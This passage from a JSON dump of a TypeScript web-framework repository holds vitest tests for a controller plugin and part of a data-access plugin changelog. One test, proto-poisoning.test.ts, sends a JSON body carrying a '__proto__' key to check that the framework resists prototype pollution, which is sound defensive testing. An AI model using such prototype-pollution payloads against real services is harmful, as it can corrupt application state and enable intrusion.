expect((global as any).constructAppService).toBe(true);\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/http/params.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, beforeAll, afterAll, expect } from 'vitest';\n\nimport { getFixtures } from '../utils.ts';\n\ndescribe('plugin/controller/test/http/params.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/controller-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('body param should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .post('/apps')\n      .send({\n        name: 'foo',\n        desc: 'mock-desc',\n      })\n      .expect(200)\n      .expect((res) => {\n        expect(res.body.success).toBe(true);\n        expect(res.body.traceId).match(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n      });\n  });\n\n  it('headers param should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .post('/apps')\n      .set('x-session-id', 'mock-session-id')\n      .send({\n        name: 'foo',\n        desc: 'mock-desc',\n      })\n      .expect(200)\n      .expect((res) => {\n        expect(res.body.success).toBe(true);\n        expect(res.body.traceId).match(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n        expect(res.body.sessionId).toBe('mock-session-id');\n      });\n  });\n\n  it('query param should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/apps?name=foo')\n      .expect(200)\n      .expect((res) => {\n        expect(res.body.traceId).match(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n        expect(res.body.app).toEqual({\n          name: 'foo',\n          desc: 'mock-desc',\n        });\n      });\n  });\n\n  it('path param should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/apps/foo')\n      .expect(200)\n      .expect((res) => {\n        expect(res.body.traceId).match(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n        expect(res.body.app).toEqual({\n          name: 'foo',\n          desc: 'mock-desc',\n        });\n      });\n  });\n\n  it('global middleware should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/apps/foo')\n      .expect(200)\n      .expect((res) => {\n        expect(res.body.traceId).match(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n        expect(res.body.app).toEqual({\n          name: 'foo',\n          desc: 'mock-desc',\n        });\n      });\n  });\n\n  it('controller path param should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .get('/foo/fooId/bar/barId')\n      .expect(200)\n      .expect((res) => {\n        expect(res.body).toEqual({\n          fooId: 'fooId',\n          barId: 'barId',\n        });\n      });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/http/priority.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, beforeAll, afterAll } from 'vitest';\n\nimport { getFixtures } from '../utils.ts';\n\ndescribe('plugin/controller/test/http/priority.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/controller-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('/* should work', async () => {\n    app.mockCsrf();\n    await app.httpRequest().get('/view/foo').expect(200).expect('hello, view');\n  });\n\n  it('/users/group', async () => {\n    app.mockCsrf();\n    await app.httpRequest().get('/users/group').expect(200).expect('high priority');\n  });\n\n  it('/users/* should work', async () => {\n    app.mockCsrf();\n    await app.httpRequest().get('/users/foo').expect(200).expect('low priority');\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/http/proto-poisoning.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, beforeAll, afterAll, expect } from 'vitest';\n\nimport { getFixtures } from '../utils.ts';\n\ndescribe('plugin/controller/test/http/proto-poisoning.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/proto-poisoning'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('should protect proto poisoning', async () => {\n    app.mockCsrf();\n    const res = await app\n      .httpRequest()\n      .post('/hello-proto-poisoning')\n      .set('content-type', 'application/json')\n      .send(`{\n        \"hello\": \"world\",\n        \"__proto__\": { \"boom\": \"💣\" }\n      }`)\n      .expect(200);\n    console.log(res.body);\n    expect(res.body['body.boom']).toBeUndefined();\n    expect(res.body['params2.boom']).toBeUndefined();\n    expect(res.body['params1.boom']).toBeUndefined();\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/http/request.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, beforeAll, afterAll, expect } from 'vitest';\n\nimport { getFixtures } from '../utils.ts';\n\ndescribe('plugin/controller/test/http/request.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/http-inject-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('Request should work', async () => {\n    app.mockCsrf();\n    const param = {\n      name: 'foo',\n      desc: 'mock-desc',\n    };\n    const headerKey = 'test-header';\n    await app\n      .httpRequest()\n      .post('/apps/testRequest')\n      .send(param)\n      .set('test', headerKey)\n      .set('cookie', 'test=foo')\n      .expect(200)\n      .expect((res) => {\n        expect(res.body.headers.test).toBe(headerKey);\n        expect(res.body.method).toBe('POST');\n        expect(res.body.requestBody).toBe(JSON.stringify(param));\n        expect(res.body.cookies).toBe('foo');\n      });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/lib/AgentControllerProto.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { EggPrototypeCreatorFactory } from '@eggjs/metadata';\nimport type { EggPrototype, EggPrototypeLifecycleContext } from '@eggjs/tegg-types';\nimport { DEFAULT_PROTO_IMPL_TYPE } from '@eggjs/tegg-types';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { AgentControllerProto } from '../../src/lib/AgentControllerProto.ts';\n\nfunction createMockDelegate(): EggPrototype {\n  const sym1 = Symbol('qualifier1');\n  const sym2 = Symbol('qualifier2');\n\n  const delegate = {\n    id: 'mock-id',\n    name: 'mockProto',\n    initType: 'SINGLETON',\n    accessLevel: 'PUBLIC',\n    loadUnitId: 'load-unit-1',\n    injectObjects: [{ refName: 'dep1' }],\n    injectType: 'PROPERTY',\n    className: 'MockClass',\n    multiInstanceConstructorIndex: undefined,\n    multiInstanceConstructorAttributes: undefined,\n\n    getMetaData(key: string) {\n      if (key === 'testKey') return 'testValue';\n      return undefined;\n    },\n    verifyQualifier(q: { attribute: string }) {\n      return q.attribute === 'valid';\n    },\n    verifyQualifiers(qs: Array<{ attribute: string }>) {\n      return qs.every((q) => q.attribute === 'valid');\n    },\n    getQualifier(attr: string) {\n      if (attr === 'env') return 'prod';\n      return undefined;\n    },\n    constructEggObject(...args: any[]) {\n      return { constructed: true, args };\n    },\n  } as unknown as EggPrototype;\n\n  // Add symbol-keyed properties to test symbol copying\n  Object.defineProperty(delegate, sym1, { value: 'value1', enumerable: false });\n  Object.defineProperty(delegate, sym2, { value: 'value2', enumerable: false });\n\n  return delegate;\n}\n\ndescribe('plugin/controller/test/lib/AgentControllerProto.test.ts', () => {\n  describe('constructor delegation', () => {\n    it('should be an instance of AgentControllerProto', () => {\n      const delegate = createMockDelegate();\n      const proto = new AgentControllerProto(delegate);\n      assert(proto instanceof AgentControllerProto);\n    });\n\n    it('should copy symbol-keyed properties from delegate', () => {\n      const delegate = createMockDelegate();\n      const symbols = Object.getOwnPropertySymbols(delegate);\n      assert(symbols.length >= 2, 'delegate should have symbol properties');\n\n      const proto = new AgentControllerProto(delegate);\n      for (const sym of symbols) {\n        assert.strictEqual((proto as any)[sym], (delegate as any)[sym]);\n      }\n    });\n  });\n\n  describe('getter delegation', () => {\n    const delegate = createMockDelegate();\n    const proto = new AgentControllerProto(delegate);\n\n    it('should delegate id', () => {\n      assert.strictEqual(proto.id, 'mock-id');\n    });\n\n    it('should delegate name', () => {\n      assert.strictEqual(proto.name, 'mockProto');\n    });\n\n    it('should delegate initType', () => {\n      assert.strictEqual(proto.initType, 'SINGLETON');\n    });\n\n    it('should delegate accessLevel', () => {\n      assert.strictEqual(proto.accessLevel, 'PUBLIC');\n    });\n\n    it('should delegate loadUnitId', () => {\n      assert.strictEqual(proto.loadUnitId, 'load-unit-1');\n    });\n\n    it('should delegate injectObjects', () => {\n      assert.deepStrictEqual(proto.injectObjects, [{ refName: 'dep1' }]);\n    });\n\n    it('should delegate injectType', () => {\n      assert.strictEqual(proto.injectType, 'PROPERTY');\n    });\n\n    it('should delegate className', () => {\n      assert.strictEqual(proto.className, 'MockClass');\n    });\n\n    it('should delegate multiInstanceConstructorIndex', () => {\n      assert.strictEqual(proto.multiInstanceConstructorIndex, undefined);\n    });\n\n    it('should delegate multiInstanceConstructorAttributes', () => {\n      assert.strictEqual(proto.multiInstanceConstructorAttributes, undefined);\n    });\n  });\n\n  describe('method delegation', () => {\n    const delegate = createMockDelegate();\n    const proto = new AgentControllerProto(delegate);\n\n    it('should delegate getMetaData', () => {\n      assert.strictEqual(proto.getMetaData('testKey'), 'testValue');\n      assert.strictEqual(proto.getMetaData('unknown'), undefined);\n    });\n\n    it('should delegate verifyQualifier', () => {\n      assert.strictEqual(proto.verifyQualifier({ attribute: 'valid' } as any), true);\n      assert.strictEqual(proto.verifyQualifier({ attribute: 'invalid' } as any), false);\n    });\n\n    it('should delegate verifyQualifiers', () => {\n      assert.strictEqual(proto.verifyQualifiers([{ attribute: 'valid' }] as any), true);\n      assert.strictEqual(proto.verifyQualifiers([{ attribute: 'invalid' }] as any), false);\n    });\n\n    it('should delegate getQualifier', () => {\n      assert.strictEqual(proto.getQualifier('env'), 'prod');\n      assert.strictEqual(proto.getQualifier('missing'), undefined);\n    });\n\n    it('should delegate constructEggObject', () => {\n      const result = proto.constructEggObject('a', 'b');\n      assert.deepStrictEqual(result, { constructed: true, args: ['a', 'b'] });\n    });\n  });\n\n  describe('static createProto', () => {\n    const mockDelegate = createMockDelegate();\n    let originalCreator: ReturnType<typeof EggPrototypeCreatorFactory.getPrototypeCreator>;\n\n    beforeAll(() => {\n      originalCreator = EggPrototypeCreatorFactory.getPrototypeCreator(DEFAULT_PROTO_IMPL_TYPE);\n      EggPrototypeCreatorFactory.registerPrototypeCreator(DEFAULT_PROTO_IMPL_TYPE, () => mockDelegate);\n    });\n\n    afterAll(() => {\n      if (originalCreator) {\n        EggPrototypeCreatorFactory.registerPrototypeCreator(DEFAULT_PROTO_IMPL_TYPE, originalCreator);\n      }\n    });\n\n    it('should create an AgentControllerProto wrapping the default creator result', () => {\n      const ctx = {} as EggPrototypeLifecycleContext;\n      const proto = AgentControllerProto.createProto(ctx);\n      assert(proto instanceof AgentControllerProto);\n      assert.strictEqual(proto.id, mockDelegate.id);\n      assert.strictEqual(proto.name, mockDelegate.name);\n    });\n\n    it('should throw when default creator is not registered', () => {\n      // Temporarily remove the creator\n      const saved = EggPrototypeCreatorFactory.getPrototypeCreator(DEFAULT_PROTO_IMPL_TYPE);\n      EggPrototypeCreatorFactory.registerPrototypeCreator(DEFAULT_PROTO_IMPL_TYPE, undefined as any);\n      // Force the map entry to be deleted so getPrototypeCreator returns undefined\n      (EggPrototypeCreatorFactory as any).creatorMap.delete(DEFAULT_PROTO_IMPL_TYPE);\n\n      try {\n        assert.throws(\n          () => AgentControllerProto.createProto({} as EggPrototypeLifecycleContext),\n          /Default prototype creator.*not registered/,\n        );\n      } finally {\n        // Restore\n        if (saved) {\n          EggPrototypeCreatorFactory.registerPrototypeCreator(DEFAULT_PROTO_IMPL_TYPE, saved);\n        }\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/lib/ControllerMetaManager.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, expect } from 'vitest';\n\nimport { getFixtures } from '../utils.ts';\n\ndescribe('plugin/controller/test/lib/ControllerMetaManager.test.ts', () => {\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  describe('controllers have same controller name', () => {\n    it('should throw error', async () => {\n      let app: MockApplication;\n      await expect(async () => {\n        app = mm.app({\n          baseDir: getFixtures('apps/duplicate-controller-name-app'),\n        });\n        await app.ready();\n      }).rejects.toThrow(/duplicate controller name AppController/);\n      await app!.close();\n    });\n  });\n\n  describe('controllers have same proto name', () => {\n    it('should throw error', async () => {\n      let app: MockApplication;\n      await expect(async () => {\n        app = mm.app({\n          baseDir: getFixtures('apps/duplicate-proto-name-app'),\n        });\n        await app.ready();\n      }).rejects.toThrow(/duplicate proto name appController/);\n      await app!.close();\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/lib/EggControllerLoader.test.ts",
    "content": "import { ControllerMetadataUtil } from '@eggjs/tegg';\nimport { describe, it, expect } from 'vitest';\n\nimport { EggControllerLoader } from '../../src/lib/EggControllerLoader.ts';\nimport { getFixtures } from '../utils.ts';\n\ndescribe('plugin/controller/test/lib/EggModuleLoader.test.ts', () => {\n  it('should work', async () => {\n    const controllerDir = getFixtures('apps/controller-app/app/controller');\n    const loader = new EggControllerLoader(controllerDir);\n    const classes = await loader.load();\n\n    expect(classes.length).toBe(7);\n    const AppController = classes[0];\n    const metadata = ControllerMetadataUtil.getControllerMetadata(AppController);\n    expect(metadata).toBeDefined();\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/lib/HTTPMethodRegister.test.ts",
    "content": "import path from 'node:path';\n\nimport {\n  EggPrototypeCreatorFactory,\n  EggPrototypeFactory,\n  EggPrototypeLifecycleUtil,\n  type LoadUnit,\n  LoadUnitFactory,\n} from '@eggjs/metadata';\nimport { EggRouter } from '@eggjs/router';\nimport { CONTROLLER_META_DATA, HTTPControllerMeta } from '@eggjs/tegg';\nimport { EggContainerFactory } from '@eggjs/tegg-runtime';\nimport { describe, it, beforeAll, afterAll, expect } from 'vitest';\n\nimport { CONTROLLER_LOAD_UNIT, ControllerLoadUnit } from '../../src/lib/ControllerLoadUnit.ts';\nimport { EggControllerLoader } from '../../src/lib/EggControllerLoader.ts';\nimport { EggControllerPrototypeHook } from '../../src/lib/EggControllerPrototypeHook.ts';\nimport { HTTPMethodRegister } from '../../src/lib/impl/http/HTTPMethodRegister.ts';\nimport { getFixtures } from '../utils.ts';\n\ndescribe('plugin/controller/test/lib/HTTPControllerRegister.test.ts', () => {\n  describe('method/path is registered', () => {\n    const router = new EggRouter({}, {} as any);\n    const controllerPrototypeHook = new EggControllerPrototypeHook();\n    let loadUnit: LoadUnit;\n\n    beforeAll(async () => {\n      EggPrototypeLifecycleUtil.registerLifecycle(controllerPrototypeHook);\n      router.get('mock_controller', '/apps/:id', () => {\n        // ...\n      });\n      const baseDir = getFixtures('apps/http-conflict-app');\n      const controllerDir = path.join(baseDir, 'app/controller');\n      const loader = new EggControllerLoader(controllerDir);\n\n      LoadUnitFactory.registerLoadUnitCreator(CONTROLLER_LOAD_UNIT, (ctx) => {\n        return new ControllerLoadUnit(\n          'tegg-app-controller',\n          ctx.unitPath,\n          ctx.loader,\n          new EggPrototypeFactory(),\n          EggPrototypeCreatorFactory,\n        );\n      });\n\n      loadUnit = await LoadUnitFactory.createLoadUnit(controllerDir, CONTROLLER_LOAD_UNIT, loader);\n    });\n\n    afterAll(async () => {\n      EggPrototypeLifecycleUtil.deleteLifecycle(controllerPrototypeHook);\n      await LoadUnitFactory.destroyLoadUnit(loadUnit);\n    });\n\n    it('should throw error with same rule', async () => {\n      const proto = loadUnit.getEggPrototype('appController', [])[0];\n      const controllerMeta = proto.getMetaData<HTTPControllerMeta>(CONTROLLER_META_DATA)!;\n      await expect(async () => {\n        for (const methodMeta of controllerMeta.methods) {\n          const register = new HTTPMethodRegister(\n            proto,\n            controllerMeta,\n            methodMeta,\n            router,\n            new Map(),\n            EggContainerFactory,\n          );\n          await register.checkDuplicate();\n        }\n      }).rejects.toThrow(\n        /RouterConflictError: register http controller GET AppController.get failed, GET \\/apps\\/:id is conflict with exists rule \\/apps\\/:id/,\n      );\n    });\n\n    it('should throw error with sub rule', async () => {\n      const proto = loadUnit.getEggPrototype('appController', [])[0];\n      const controllerMeta = proto.getMetaData<HTTPControllerMeta>(CONTROLLER_META_DATA)!;\n      await expect(async () => {\n        const register = new HTTPMethodRegister(\n          proto,\n          controllerMeta,\n          {\n            name: 'test',\n            method: 'GET',\n            path: '/123',\n          } as any,\n          router,\n          new Map(),\n          EggContainerFactory,\n        );\n\n        await register.checkDuplicate();\n      }).rejects.toThrow(\n        /RouterConflictError: register http controller GET AppController.test failed, GET \\/apps\\/123 is conflict with exists rule \\/apps\\/:id/,\n      );\n    });\n\n    it('should throw error with same rule with host', async () => {\n      const proto1 = loadUnit.getEggPrototype('appController1', [])[0];\n      const proto2 = loadUnit.getEggPrototype('appController2', [])[0];\n      const controllerMeta1 = proto1.getMetaData<HTTPControllerMeta>(CONTROLLER_META_DATA)!;\n      const controllerMeta2 = proto2.getMetaData<HTTPControllerMeta>(CONTROLLER_META_DATA)!;\n      await expect(async () => {\n        const routerMap = new Map();\n        for (const methodMeta of controllerMeta1.methods) {\n          const register = new HTTPMethodRegister(\n            proto1,\n            controllerMeta1,\n            methodMeta,\n            router,\n            routerMap,\n            EggContainerFactory,\n          );\n          await register.checkDuplicate();\n        }\n        for (const methodMeta of controllerMeta2.methods) {\n          const register = new HTTPMethodRegister(\n            proto2,\n            controllerMeta2,\n            methodMeta,\n            router,\n            routerMap,\n            EggContainerFactory,\n          );\n          await register.checkDuplicate();\n        }\n      }).rejects.toThrow(\n        /RouterConflictError: register http controller GET AppController2\\.get failed, GET \\/foo\\/:id is conflict with exists rule \\/foo\\/:id/,\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/controller/test/utils.ts",
    "content": "import path from 'node:path';\n\nexport function getFixtures(name: string): string {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n"
  },
  {
    "path": "tegg/plugin/controller/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\",\n  \"exclude\": [\"test/fixtures/**/*.ts\"]\n}\n"
  },
  {
    "path": "tegg/plugin/dal/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n\n### Features\n\n* dal retry when init failed ([#260](https://github.com/eggjs/tegg/issues/260)) ([74e7c06](https://github.com/eggjs/tegg/commit/74e7c067c3ff7ae0ed705abaaa8a91f804e487e3))\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n\n### Bug Fixes\n\n* fix merge qualifier ([#250](https://github.com/eggjs/tegg/issues/250)) ([d5a8a93](https://github.com/eggjs/tegg/commit/d5a8a93abad570f69881f9fa42f39d7b5cd436be))\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n\n### Features\n\n* impl MultiInstance inject MultiInstance ([#240](https://github.com/eggjs/tegg/issues/240)) ([08e3b0c](https://github.com/eggjs/tegg/commit/08e3b0cc02f3d2dbba767298a6aec6c00147f9ed))\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n\n### Bug Fixes\n\n* mount clazzExtension/clazzExtension/tableSql to BaseDao ([#220](https://github.com/eggjs/tegg/issues/220)) ([ac322cf](https://github.com/eggjs/tegg/commit/ac322cfc4100841a1483b04b99e04d553af323eb))\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n\n### Bug Fixes\n\n* use loader to load TableClazzList ([#219](https://github.com/eggjs/tegg/issues/219)) ([15ef977](https://github.com/eggjs/tegg/commit/15ef977806dcb15831d6e906b92134257dd03654))\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n\n### Features\n\n* impl dal transaction ([#214](https://github.com/eggjs/tegg/issues/214)) ([b8b67dd](https://github.com/eggjs/tegg/commit/b8b67dd7e0fb282d78de7e68e68834ff79d30732))\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n\n### Bug Fixes\n\n* fix dal runtime dep ([#210](https://github.com/eggjs/tegg/issues/210)) ([5ad7f45](https://github.com/eggjs/tegg/commit/5ad7f4537114217924ae8dc7445e8fc77eee0b5a))\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n\n### Bug Fixes\n\n* @eggjs/dal-runtime deps ([#209](https://github.com/eggjs/tegg/issues/209)) ([ffc8fdf](https://github.com/eggjs/tegg/commit/ffc8fdf342e7ea73400d6e31f82981155c2b0693))\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n\n### Bug Fixes\n\n* fix dao extension in prod ([#206](https://github.com/eggjs/tegg/issues/206)) ([0498e9d](https://github.com/eggjs/tegg/commit/0498e9d11bd9e4d186160e8b6af07e627dde6a20))\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n* impl dal forkDb ([#202](https://github.com/eggjs/tegg/issues/202)) 